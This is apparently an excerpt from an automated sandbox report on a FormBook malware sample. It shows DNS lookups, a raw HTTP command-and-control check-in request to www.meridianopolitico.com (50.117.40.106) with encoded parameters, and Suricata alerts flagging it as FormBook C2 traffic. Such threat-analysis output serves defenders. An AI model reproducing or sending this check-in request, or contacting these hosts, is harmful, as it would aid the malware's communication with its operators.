Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| www.patlichen.com | ||
| www.meridianopolitico.com | 50.117.40.106 |
GET
0
http://www.meridianopolitico.com/d6b4/?OXolp=Mk+xgxxMFq35RtCV/s1lAC9Od9t6BRTzkK3YJigL61KDkS5U9vEs0v6vAvJo+stnW/rREfuU&Txo=O0DPaBdh7tsX0d
REQUEST
RESPONSE
BODY
GET /d6b4/?OXolp=Mk+xgxxMFq35RtCV/s1lAC9Od9t6BRTzkK3YJigL61KDkS5U9vEs0v6vAvJo+stnW/rREfuU&Txo=O0DPaBdh7tsX0d HTTP/1.1
Host: www.meridianopolitico.com
Connection: close
HTTP/1.1 200 OK
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Server: Nginx Microsoft-HTTPAPI/2.0
X-Powered-By: Nginx
Date: Wed, 01 Sep 2021 00:33:24 GMT
Connection: close
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 192.168.56.102:49166 -> 50.117.40.106:80 | 2031412 | ET MALWARE FormBook CnC Checkin (GET) | Malware Command and Control Activity Detected |
| TCP 192.168.56.102:49166 -> 50.117.40.106:80 | 2031449 | ET MALWARE FormBook CnC Checkin (GET) | Malware Command and Control Activity Detected |
| TCP 192.168.56.102:49166 -> 50.117.40.106:80 | 2031453 | ET MALWARE FormBook CnC Checkin (GET) | Malware Command and Control Activity Detected |
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts